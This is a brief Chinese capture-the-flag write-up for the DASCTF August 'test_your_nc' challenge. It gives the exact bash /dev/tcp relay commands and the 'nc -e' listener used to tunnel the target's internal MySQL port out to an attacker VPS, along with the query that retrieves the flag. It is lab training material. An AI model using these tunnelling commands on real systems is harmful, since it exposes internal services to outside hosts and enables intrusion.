被当工具人的一天,这里放出DASCTF八月月赛部分题目的解题思路,具体wp略:

test_your_nc

  1. fuzz命令,或者使用逆向工具逆向附件可得知,nc连接靶机将会直接给予一个bash shell。
  2. ls得到文件列表,cat hint得到提示,flag在靶机当前机器(127.0.0.1:3306)的mysql中,并且给出了需要运行的命令。
  3. ls /bin得到只有cat,sh,bash,ls命令可用,考虑利用bash支持/dev/tcp伪文件协议的特性,将靶机上的3306端口反弹至公网访问。
  4. 在自己的vps上运行(需要放开9999、9998端口的防火墙):echo '#!/bin/bash' > /tmp/mync.sh;echo 'nc -lp 9999' >> /tmp/mync.sh;chmod +x /tmp/mync.sh;nc -lvp 9998 -e /tmp/mync.sh;
  5. 在kali虚拟机(自带mysql)或其他带有mysql的机器运行:mysql -uctf -pctf --ssl=1 -hVPS地址 -P9998 -e 'select flag from flag.flag;'
  6. 使用nc工具连接靶机,在靶机上运行:exec 4<>/dev/tcp/127.0.0.1/3306;exec 5<>/dev/tcp/VPS地址/9999;cat <&4 >&5 & cat <&5 >&4;
  7. 执行成功后,可以在5. 中的mysql命令执行窗口看见flag。